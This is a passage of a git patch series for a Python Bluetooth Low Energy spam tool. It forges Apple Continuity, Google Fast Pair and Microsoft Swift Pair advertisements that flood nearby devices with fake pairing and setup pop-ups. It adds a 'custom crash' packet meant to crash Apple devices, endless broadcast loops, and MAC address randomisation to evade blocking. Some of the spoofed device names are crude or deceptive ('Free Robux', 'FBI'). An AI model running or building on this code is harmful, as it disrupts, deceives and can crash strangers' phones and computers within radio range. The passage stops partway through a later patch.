"Beats Studio Buds": 0x1120, + "Beats Flex": 0x1020, + "Beats X": 0x0520, + "Beats Solo 3": 0x0620, + "Beats Studio 3": 0x0920, + "Beats Studio Pro": 0x1720, + "Beats Fit Pro": 0x1220, + "Beats Studio Buds+": 0x1620, + + "Airtag": 0x0055, + "Hermes Airtag": 0x0030, +} + +na_actions = { + "AppleTV Setup": 0x01, + "AppleTV Pair": 0x06, + "AppleTV Keyboard": 0x13, + "AppleTV Connecting...": 0x27, + "AppleTV Join This AppleTV": 0x20, + "AppleTV Wireless Audio Sync": 0x19, # 0xc0 + "AppleTV Color Balance": 0x1E, + "AppleTV AppleID Setup": 0x2B, + "AppleTV HomeKit Setup": 0x0D, + "HomePod Setup": 0x0B, + "Setup New iPhone": 0x09, + "Transfer Phone Number": 0x02, +} + # Hex data map hex_data = { - 1: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), - 2: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), - 3: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), - 4: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), - 5: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), - 6: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), - 7: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), - 8: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), - 9: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), + 1: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), + 2: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), + 3: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), + 4: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), + 5: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), + 6: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), + 7: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), + 8: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), + 9: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), 10: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x11, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), 11: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x10, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), 12: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), @@ -91,38 +156,254 @@ } -def get_bt_data(option: int, random_charge=False) -> Sequence[int] | None: - print(option) +def make_packet(packet_type: ContinuityType, *, model: int = 0, action: int = 0) -> tuple[Sequence[int], int]: + if model == 0: + model = random.choice(list(pp_models.values())) + if action == 0: + action = random.choice(list(na_actions.values())) + size = packet_sizes[packet_type] + packet = [0] * size + i = 0 + packet[i] = size - 1 # Size + i+=1 + packet[i] = 0xFF # AD Type (Manufacturer Specific) + i+=1 + packet[i] = 0x4C # Company ID (Apple, Inc.) + i+=1 + packet[i] = 0x00 # ... + i+=1 + packet[i] = packet_type.value # Continuity Type + i+=1 + packet[i] = size - i - 1 # Continuity Size + i+=1 + match packet_type: + case ContinuityType.ProximityPair: + packet[i] = 0x07 # Prefix (paired 0x01 new 0x07 airtag 0x05) + i += 1 + packet[i] = (model >> 0x08) & 0xFF + i += 1 + packet[i] = (model >> 0x00) & 0xFF + i += 1 + packet[i] = 0x55 # Status + i += 1 # TODO why 0x55 not 0x75 ? + packet[i] = random.randint(0, 99) # Buds Battery Level + i += 1 + packet[i] = random.randint(0, 79) # Charging Status and Battery Case Level + i += 1 + packet[i] = random.randint(0, 255) # Lid Open Counter + i += 1 + packet[i:i+16] = [random.randint(0, 255) for _ in range(16)] # Encrypted Payload + i += 16 + return packet, size + case ContinuityType.NearbyAction: + flags = 0xC0 + if action == 0x20 and random.randint(0, 1): + flags -= 1 # More spam for 'Join This AppleTV?' + if action == 0x09 and random.randint(0, 1): + flags = 0x40 # Glitched 'Setup New Device' + + packet[i] = flags + i += 1 + packet[i] = action + i += 1 + packet[i:i+3] = [random.randint(0, 255) for _ in range(3)] # Authentication Tag + i += 3 + return packet, size + case ContinuityType.CustomCrash: + # Found by @ECTO-1A + + action = random.choice(list(na_actions.values())) + flags = 0xC0 + if action == 0x20 and random.randint(0, 1): + flags -= 1 # More spam for 'Join This AppleTV?' + if action == 0x09 and random.randint(0, 1): + flags = 0x40 # Glitched 'Setup New Device' + + i -= 2 # Override segment header + packet[i] = ContinuityType.NearbyAction.value # Continuity Type + i += 1 + packet[i] = 0x05 # Continuity Size + i += 1 + packet[i] = flags + i += 1 + packet[i] = action + i += 1 + packet[i:i+3] = [random.randint(0, 255) for _ in range(3)] # Authentication Tag + i += 3 + + packet[i] = 0x00 # Terminator (?) + i += 1 + packet[i] = 0x00 # ... + i += 1 + + packet[i] = ContinuityType.NearbyInfo.value # Continuity Type (?) + i += 1 + packet[i:i+3] = [random.randint(0, 255) for _ in range(3)] # Continuity Size (?) + Shenanigans (???) + i += 3 + return packet, size + raise NotImplementedError() + + +fp_models = { + # Genuine actions + "Set Up Device": 0x00000C, + + # Genuine non-production/forgotten (good job Google) + "Bisto CSR8670 Dev Board": 0x0001F0, # non visible and breaks network + "Arduino 101": 0x000047, + "Anti-Spoof Test": 0x00000A, + "Anti-Spoof Test 2": 0x0A0000, + "Google Gphones": 0x00000B, + "Google Gphones 2": 0x0B0000, + "Google Gphones 3": 0x0C0000, + "Test 00000D": 0x00000D, + "Android Auto": 0x000007, + "Android Auto 2": 0x070000, + "Foocorp Foophones": 0x000008, + "Foocorp Foophones 2": 0x080000, + "Test Android TV": 0x000009, + "Test Android TV 2": 0x090000, + "Fast Pair Headphones": 0x000048, + "Fast Pair Headphones 2": 0x000049, + + # Genuine devices + "Bose NC 700": 0xCD8256, + "Bose QuietComfort 35 II": 0x0000F0, + "JBL Flip 6": 0x821F66, + "JBL Buds Pro": 0xF52494, + "JBL Live 300TWS": 0x718FA4, + "JBL Everest 110GA": 0x0002F0, + "Pixel Buds": 0x92BBBD, + "Google Pixel buds": 0x000006, + "Google Pixel buds 2": 0x060000, + "Sony XM5": 0xD446A7, + "Sony WF-1000XM4": 0x2D7A23, + "Razer Hammerhead TWS": 0x0E30C3, + "Razer Hammerhead TWS X": 0x72EF8D, + "Soundcore Spirit Pro GVA": 0x72FB00, + "LG HBS-835S": 0x0003F0, + + # Custom debug popups + "Flipper Zero": 0xD99CA1, + "Free Robux": 0x77FF67, + "Free VBucks": 0xAA187F, + "Rickroll": 0xDCE9EA, + "Animated Rickroll": 0x87B25F, # non visible and breaks network + "Boykisser": 0xF38C02, + "BLM": 0x1448C9, + "Xtreme": 0xD5AB33, + "Xtreme Cta": 0x0C0B67, + "Talking Sasquach": 0x13B39D, + "Mobile Hacker": 0x3D45DC, + "ClownMaster": 0xAA1FE1, # non visible and breaks network + "Obama": 0x7C6CDB, + "Ryanair": 0x005EF9, + "FBI": 0xE2106F, + "Tesla": 0xB37A62, + "Durka": 0x6B4025, +} + +def make_packet_android(*, model: int = 0) -> tuple[Sequence[int], int]: + if model == 0: + model_name = random.choice(list(fp_models)) + model = fp_models[model_name] + size = 14 + packet = [0] * size + i = 0 + + packet[i] = 3 # Size + i += 1 + packet[i] = 0x03 # AD Type (Service UUID List) + i += 1 + packet[i] = 0x2C # Service UUID (Google LLC, FastPair) + i += 1 + packet[i] = 0xFE # ... + i += 1 + + packet[i] = 6 # Size + i += 1 + packet[i] = 0x16 # AD Type (Service Data) + i += 1 + packet[i] = 0x2C # Service UUID (Google LLC, FastPair) + i += 1 + packet[i] = 0xFE # ... + i += 1 + packet[i] = (model >> 0x10) & 0xFF + i += 1 + packet[i] = (model >> 0x08) & 0xFF + i += 1 + packet[i] = (model >> 0x00) & 0xFF + i += 1 + + packet[i] = 2 # Size + i += 1 + packet[i] = 0x0A # AD Type (Tx Power Level) + i += 1 + + dbm = random.randint(-100, 19) + if dbm < 0: + dbm += 256 + packet[i] = dbm # -100 to +20 dBm + i += 1 + return packet, size + + +def make_proximity_pair_data(option: int) -> Sequence[int]: + name = bt_data_options[option] + model = pp_models[name] + packet, size = make_packet(ContinuityType.ProximityPair, model=model) + return packet + + +def make_nearby_action_data(option: int) -> Sequence[int]: + name = bt_data_options[option] + model = na_actions[name] + packet, size = make_packet(ContinuityType.NearbyAction, model=model) + return packet + + +def make_custom_crash_data() -> Sequence[int]: + packet, size = make_packet(ContinuityType.CustomCrash) + return packet + + +# def print_tuple(seq: Sequence[int]) -> str: +# return "(" + (', '.join([f"0x{c:02x}" for c in seq])) + ")" +# print(*[print_tuple(make_nearby_action_data(i)) + "\n" + print_tuple(hex_data[i]) for i in range(18,30)], sep="\n") +# exit() + + +def get_bt_data(option: int) -> Sequence[int] | None: bt_data = hex_data.get(option) if not bt_data: return - if not random_charge: - return bt_data name = bt_data_options[option] - if "Airpods" not in name and "Beats" not in name: + if "AirPods" not in name and "Beats" not in name: return bt_data - left_speaker = (random.randint(1, 100),) - right_speaker = (random.randint(1, 100),) - case = (random.randint(128, 228),) - return bt_data[:15] + left_speaker + right_speaker + case + bt_data[-12:] + return make_proximity_pair_data(option) def main(): parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval (default 200))') + parser.add_argument('-t', '--adv-time', default=2.0, type=float, help='Advertising time (default 2))') parser.add_argument('-d', '--data', type=int, help='Select a message to send (e.g., -d 1)') parser.add_argument('-b', '--bt-dev-id', default=0, type=int, help='Bluetooth device ID (default 0)') parser.add_argument('--device-name', type=str, help='Specify a device name (e.g., --device-name "AirPods Pro")') # Add random argument parser.add_argument('-r', '--random', action='store_true', help='Randomly loop through advertising data') - parser.add_argument('--random-charge', action='store_true', help='Send random charge values for headphones') + parser.add_argument('-c', '--custom-crash', action='store_true', help='Use custom crash method by @ECTO-1A') + parser.add_argument('-a', '--android', action='store_true', help='Android BLE spam') + + parser.add_argument('--random-mac', action='store_true', help='Randomly select mac address if -r, -c or -a specified') + parser.add_argument('--random-adv', action='store_true', help='Randomly select advertisement event types if -r, -c or -a specified') args = parser.parse_args() - if (args.data is None) and (args.device_name is None) and not args.random: + if (args.data is None) and (args.device_name is None) and not args.random and not args.custom_crash and not args.android: print("Please select a message option using -d or --device-name. Use --random for random selection.") print("Available message options and device names:") for option, description in bt_data_options.items(): @@ -149,6 +430,9 @@ def main(): try: sock = bluez.hci_open_dev(dev_id) + if args.random_mac: + original_mac = get_internal_mac_addr(dev_id) + print(f"Your original mac address is {original_mac}\nIt will restored after you stop the script\n") except Exception as e: print(f"Unable to connect to Bluetooth hardware {dev_id}: {e}") return @@ -156,25 +440,52 @@ def main(): print("Advertising Started... Press Ctrl+C to Stop") try: - if args.random: + if args.android: + while True: + bt_data, *_ = make_packet_android() + adv_type = args.random_adv and random.randint(0x02,0x03) or 0x03 + if args.random_mac: + random_mac = ":".join([f"{random.randint(0x00, 0xff):02x}" for _ in range(6)]) + random_mac = f"d4:3a:2c:{random_mac[9:]}" # google mac prefix + change_internal_mac_addr(sock, random_mac) + start_le_advertising(sock, adv_type=adv_type, min_interval=args.interval, max_interval=args.interval, data=bt_data) + sleep(args.adv_time) + stop_le_advertising(sock) + elif args.custom_crash: + while True: + bt_data, *_ = make_custom_crash_data() + adv_type = args.random_adv and random.randint(0x01,0x04) or 0x03 # TODO check valid ones + if args.random_mac: + random_mac = ":".join([f"{random.randint(0x00, 0xff):02x}" for _ in range(6)]) + change_internal_mac_addr(sock, random_mac) + start_le_advertising(sock, adv_type=adv_type, min_interval=args.interval, max_interval=args.interval, data=bt_data) + sleep(args.adv_time) + stop_le_advertising(sock) + elif args.random: while True: selected_option = random.choice(list(bt_data_options.keys())) - bt_data = get_bt_data(selected_option, args.random_charge) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, data=bt_data) - sleep(2) + bt_data = get_bt_data(selected_option) + adv_type = args.random_adv and random.randint(0x01,0x04) or 0x03 # TODO check valid ones + if args.random_mac: + random_mac = ":".join([f"{random.randint(0x00, 0xff):02x}" for _ in range(6)]) + change_internal_mac_addr(sock, random_mac) + start_le_advertising(sock, adv_type=adv_type, min_interval=args.interval, max_interval=args.interval, data=bt_data) + sleep(args.adv_time) stop_le_advertising(sock) else: selected_option = args.data or list(bt_data_options.keys())[[_.lower() for _ in bt_data_options.values()].index(args.device_name.lower())] - bt_data = get_bt_data(selected_option, args.random_charge) + bt_data = get_bt_data(selected_option) start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, data=bt_data) while True: - sleep(2) + sleep(args.adv_time) except KeyboardInterrupt: stop_le_advertising(sock) except Exception as e: print(f"An error occurred: {e}") stop_le_advertising(sock) + if args.random_mac: + print(f"Restoring original mac address {original_mac}...") # type: ignore + change_internal_mac_addr(sock, original_mac) # type: ignore if __name__ == "__main__": main() - diff --git a/docs/notifications.md b/docs/notifications.md index 1a83679..b0970d5 100644 --- a/docs/notifications.md +++ b/docs/notifications.md @@ -15,39 +15,39 @@ Below are screenshots of the notfications generated from these script calls
<

-`python3 app.py --device-name "AppleTV Homekit Setup"` +`python3 app.py --device-name "AppleTV HomeKit Setup"` -> **Message**: Set Up Airplay and Homekit on Apple TV +> **Message**: Set Up Airplay and HomeKit on Apple TV

`python3 app.py --device-name "AppleTV Keyboard"` -> **Message**: AppleTV Keyboard Password Autofill Prompt +> **Message**: AppleTV Keyboard Password AutoFill

-`python3 app.py --device-name "AppleTV 'Connecting to Network'"` +`python3 app.py --device-name "AppleTV Connecting..."` > **Message**: Connecting... Apple Tv requires additional information to connect to this network

-`python3 app.py --device-name "AppleTV New User"` +`python3 app.py --device-name "AppleTV Join This AppleTV"` -> **Message**: AppleTV Add New User +> **Message**: Join This AppleTV?

-`python3 app.py --device-name "Homepod Setup"` +`python3 app.py --device-name "HomePod Setup"` > **Message**: HomePod Setup

-`python3 app.py --device-name "Setup New Phone"` +`python3 app.py --device-name "Setup New iPhone"` -> **Message**: Setup New Phone +> **Message**: Setup New iPhone

@@ -57,9 +57,9 @@ Below are screenshots of the notfications generated from these script calls
<

-`python3 app.py --device-name "TV Color Balance"` +`python3 app.py --device-name "AppleTV Color Balance"` -> **Message**: TV Color Balance +> **Message**: Color Balance

diff --git a/utils/bluetooth_utils.py b/utils/bluetooth_utils.py index 74db6bc..54405e3 100644 --- a/utils/bluetooth_utils.py +++ b/utils/bluetooth_utils.py @@ -30,17 +30,21 @@ # import PyBluez import bluetooth._bluetooth as bluez +from bluetooth import read_local_bdaddr __all__ = ('toggle_device', 'set_scan', 'enable_le_scan', 'disable_le_scan', 'parse_le_advertising_events', 'start_le_advertising', 'stop_le_advertising', - 'raw_packet_to_str') + 'raw_packet_to_str', + 'get_internal_mac_addr', 'change_internal_mac_addr') LE_META_EVENT = 0x3E LE_PUBLIC_ADDRESS = 0x00 LE_RANDOM_ADDRESS = 0x01 OGF_LE_CTL = 0x08 +OGF_VENDOR_CMD = 0x3F +OCF_INQUIRY = 0x0001 OCF_LE_SET_SCAN_PARAMETERS = 0x000B OCF_LE_SET_SCAN_ENABLE = 0x000C OCF_LE_CREATE_CONN = 0x000D @@ -354,6 +358,15 @@ def parse_le_advertising_events(sock, mac_addr=None, packet_length=None, sock.setsockopt(bluez.SOL_HCI, bluez.HCI_FILTER, old_filter) raise + +def get_internal_mac_addr(bt_dev_id=0): + return read_local_bdaddr()[bt_dev_id] + + +def change_internal_mac_addr(sock, mac_addr="12:34:56:78:90:AB"): + """https://community.infineon.com/t5/Wi-Fi-Bluetooth-for-Linux/How-to-change-Bluetooth-MAC-address-on-Raspberry-Pi-4/m-p/179476""" + bluez.hci_send_cmd(sock, OGF_VENDOR_CMD, OCF_INQUIRY, bluez.str2ba(mac_addr)) + """ def hci_le_add_white_list(int dd, const bdaddr_t *bdaddr, uint8_t type, int to) { From ebf5f0ae1c7af8d615feb48bc8c8f99e2c666f79 Mon Sep 17 00:00:00 2001 From: barsikus007 Date: Thu, 26 Oct 2023 22:55:43 +0300 Subject: [PATCH 05/10] ported SwiftPair with exclusive image support WIP --- app.py | 82 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 80 insertions(+), 2 deletions(-) diff --git a/app.py b/app.py index f8274c6..c2dac81 100644 --- a/app.py +++ b/app.py @@ -347,6 +347,70 @@ def make_packet_android(*, model: int = 0) -> tuple[Sequence[int], int]: i += 1 return packet, size +sp_names = [ + "Assquach💦", + "Flipper 🐬", + "iOS 17 🍎", + "Kink💦", + "👉👌", + "🔵🦷", + '"Hack the planet"', + '"Hack the plane', +] + +class SwiftPairType(Enum): + BLEOnly = 0x00 + BREDROnly = 0x01 + BLEAndBREDR = 0x02 + +def make_packet_windows(packet_type: SwiftPairType = SwiftPairType.BREDROnly, *, name: str = "") -> tuple[Sequence[int], int]: + if not name: + try: + with open("names.txt", encoding="utf-8") as f: + names = f.read().splitlines() + except FileNotFoundError: + names = sp_names + name = random.choice(names) + name_bytes = name.encode("utf-8") + size = 7 + len(name_bytes) + size += 3 if packet_type != SwiftPairType.BLEOnly else 0 + size += 6 if packet_type == SwiftPairType.BREDROnly else 0 + packet = [0] * size + i = 0 + + packet[i] = size -1 # Size + i += 1 + packet[i] = 0xFF # AD Type (Manufacturer Specific) + i += 1 + packet[i] = 0x06 # Company ID (Microsoft) + i += 1 + packet[i] = 0x00 # ... + i += 1 + packet[i] = 0x03 # Microsoft Beacon ID + i += 1 + packet[i] = packet_type.value # Microsoft Beacon Sub Scenario + i += 1 + packet[i] = 0x80 # Reserved RSSI Byte + i += 1 + + if packet_type == SwiftPairType.BREDROnly: + packet[i:i+6] = [random.randint(0, 255) for _ in range(6)] # BREDR MAC Address + i += 6 + + if packet_type != SwiftPairType.BLEOnly: + # https://www.bluetooth.com/specifications/assigned-numbers/ + class_of_device = "0b00000000001" + class_of_device += "00101" + class_of_device += "01" + class_of_device += "0000" + class_of_device += "00" + packet[i:i+3] = int(class_of_device, 2).to_bytes(3, "big") + i += 3 + + packet[i:i+len(name_bytes)] = name_bytes # Add name bytes + i += len(name_bytes) + return packet, size + def make_proximity_pair_data(option: int) -> Sequence[int]: name = bt_data_options[option] @@ -368,8 +432,9 @@ def make_custom_crash_data() -> Sequence[int]: # def print_tuple(seq: Sequence[int]) -> str: -# return "(" + (', '.join([f"0x{c:02x}" for c in seq])) + ")" +# return "(" + (', '.join([f"0x{c:02X}" for c in seq])) + ")" # print(*[print_tuple(make_nearby_action_data(i)) + "\n" + print_tuple(hex_data[i]) for i in range(18,30)], sep="\n") +# print(*[print_tuple(make_packet_windows(name=i)[0]) + "\n" + i for i in sp_names], sep="\n") # exit() @@ -397,13 +462,15 @@ def main(): parser.add_argument('-r', '--random', action='store_true', help='Randomly loop through advertising data') parser.add_argument('-c', '--custom-crash', action='store_true', help='Use custom crash method by @ECTO-1A') parser.add_argument('-a', '--android', action='store_true', help='Android BLE spam') + parser.add_argument('-w', '--windows', action='store_true', help='Windows BLE spam') + parser.add_argument('--windows-text', default="", type=str, help='Windows BLE spam text (leave blank to use names.txt file or default values from flipper firmware)') parser.add_argument('--random-mac', action='store_true', help='Randomly select mac address if -r, -c or -a specified') parser.add_argument('--random-adv', action='store_true', help='Randomly select advertisement event types if -r, -c or -a specified') args = parser.parse_args() - if (args.data is None) and (args.device_name is None) and not args.random and not args.custom_crash and not args.android: + if (args.data is None) and (args.device_name is None) and not args.random and not args.custom_crash and not args.android and not args.windows: print("Please select a message option using -d or --device-name. Use --random for random selection.") print("Available message options and device names:") for option, description in bt_data_options.items(): @@ -440,6 +507,17 @@ def main(): print("Advertising Started... Press Ctrl+C to Stop") try: + if args.windows: + while True: + bt_data, *_ = make_packet_windows(name=args.windows_text) + print(bt_data) + adv_type = args.random_adv and random.randint(0x01,0x04) or 0x03 # TODO check valid ones + if args.random_mac: + random_mac = ":".join([f"{random.randint(0x00, 0xff):02x}" for _ in range(6)]) + change_internal_mac_addr(sock, random_mac) + start_le_advertising(sock, adv_type=adv_type, min_interval=args.interval, max_interval=args.interval, data=bt_data) + sleep(args.adv_time) + stop_le_advertising(sock) if args.android: while True: bt_data, *_ = make_packet_android() From e678b005d48a59cdfe7a534dd1ab0a3d5f73a8b6 Mon Sep 17 00:00:00 2001 From: barsikus007 Date: Fri, 27 Oct 2023 00:51:35 +0300 Subject: [PATCH 06/10] sort imports && fix windows adv_type --- README.md | 35 ++++++++++++++++++----------------- app.py | 9 ++++++--- 2 files changed, 24 insertions(+), 20 deletions(-) diff --git a/README.md b/README.md index 5ba34ea..20af50a 100644 --- a/README.md +++ b/README.md @@ -138,35 +138,36 @@ To run the script use `-d (number of message)` python3 app.py Please select a message option using -d or --device-name. Use --random for random selection. Available message options and device names: -1: Airpods -2: Airpods Pro -3: Airpods Max -4: Airpods Gen 2 -5: Airpods Gen 3 -6: Airpods Pro Gen 2 -7: PowerBeats +1: AirPods +2: AirPods Pro +3: AirPods Max +4: AirPods 2nd Gen +5: AirPods 3rd Gen +6: AirPods Pro 2nd Gen +7: PowerBeats 3 8: PowerBeats Pro 9: Beats Solo Pro 10: Beats Studio Buds 11: Beats Flex -12: BeatsX -13: Beats Solo3 -14: Beats Studio3 +12: Beats X +13: Beats Solo 3 +14: Beats Studio 3 15: Beats Studio Pro 16: Beats Fit Pro 17: Beats Studio Buds+ + 18: AppleTV Setup 19: AppleTV Pair -20: AppleTV New User +20: AppleTV Join This AppleTV 21: AppleTV AppleID Setup 22: AppleTV Wireless Audio Sync -23: AppleTV Homekit Setup +23: AppleTV HomeKit Setup 24: AppleTV Keyboard -25: AppleTV 'Connecting to Network' -26: Homepod Setup -27: Setup New Phone -28: Transfer Number to New Phone -29: TV Color Balance +25: AppleTV Connecting... +26: AppleTV Color Balance +27: HomePod Setup +28: Setup New iPhone +29: Transfer Phone Number ``` ## Examples diff --git a/app.py b/app.py index c2dac81..31427e5 100644 --- a/app.py +++ b/app.py @@ -2,12 +2,14 @@ # Github: https://github.com/ECTO-1A # Based on the previous work of chipik / _hexway -from enum import Enum, auto import random import argparse -import bluetooth._bluetooth as bluez from time import sleep +from enum import Enum, auto from typing import Sequence + +import bluetooth._bluetooth as bluez + from utils.bluetooth_utils import change_internal_mac_addr, get_internal_mac_addr, toggle_device, start_le_advertising, stop_le_advertising # Add a docstring to describe the purpose of the script @@ -511,7 +513,8 @@ def main(): while True: bt_data, *_ = make_packet_windows(name=args.windows_text) print(bt_data) - adv_type = args.random_adv and random.randint(0x01,0x04) or 0x03 # TODO check valid ones + # adv_type = args.random_adv and random.randint(0x01,0x04) or 0x03 # TODO check valid ones + adv_type = args.random_adv and random.randint(0x02,0x03) or 0x03 if args.random_mac: random_mac = ":".join([f"{random.randint(0x00, 0xff):02x}" for _ in range(6)]) change_internal_mac_addr(sock, random_mac) From 1665665e6516c788ca6b452fe5a24b2a41b428d7 Mon Sep 17 00:00:00 2001 From: barsikus007 Date: Fri, 27 Oct 2023 04:43:34 +0300 Subject: [PATCH 07/10] export fast pair models and add more from @DiamondRoPlayz repo --- app.py | 66 ++------------- utils/fast_pair_models.py | 166 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 171 insertions(+), 61 deletions(-) create mode 100644 utils/fast_pair_models.py diff --git a/app.py b/app.py index 31427e5..ad7e10e 100644 --- a/app.py +++ b/app.py @@ -11,6 +11,7 @@ import bluetooth._bluetooth as bluez from utils.bluetooth_utils import change_internal_mac_addr, get_internal_mac_addr, toggle_device, start_le_advertising, stop_le_advertising +from utils.fast_pair_models import all_fp_models # Add a docstring to describe the purpose of the script help_desc = ''' @@ -246,69 +247,12 @@ def make_packet(packet_type: ContinuityType, *, model: int = 0, action: int = 0) raise NotImplementedError() -fp_models = { - # Genuine actions - "Set Up Device": 0x00000C, - - # Genuine non-production/forgotten (good job Google) - "Bisto CSR8670 Dev Board": 0x0001F0, # non visible and breaks network - "Arduino 101": 0x000047, - "Anti-Spoof Test": 0x00000A, - "Anti-Spoof Test 2": 0x0A0000, - "Google Gphones": 0x00000B, - "Google Gphones 2": 0x0B0000, - "Google Gphones 3": 0x0C0000, - "Test 00000D": 0x00000D, - "Android Auto": 0x000007, - "Android Auto 2": 0x070000, - "Foocorp Foophones": 0x000008, - "Foocorp Foophones 2": 0x080000, - "Test Android TV": 0x000009, - "Test Android TV 2": 0x090000, - "Fast Pair Headphones": 0x000048, - "Fast Pair Headphones 2": 0x000049, - - # Genuine devices - "Bose NC 700": 0xCD8256, - "Bose QuietComfort 35 II": 0x0000F0, - "JBL Flip 6": 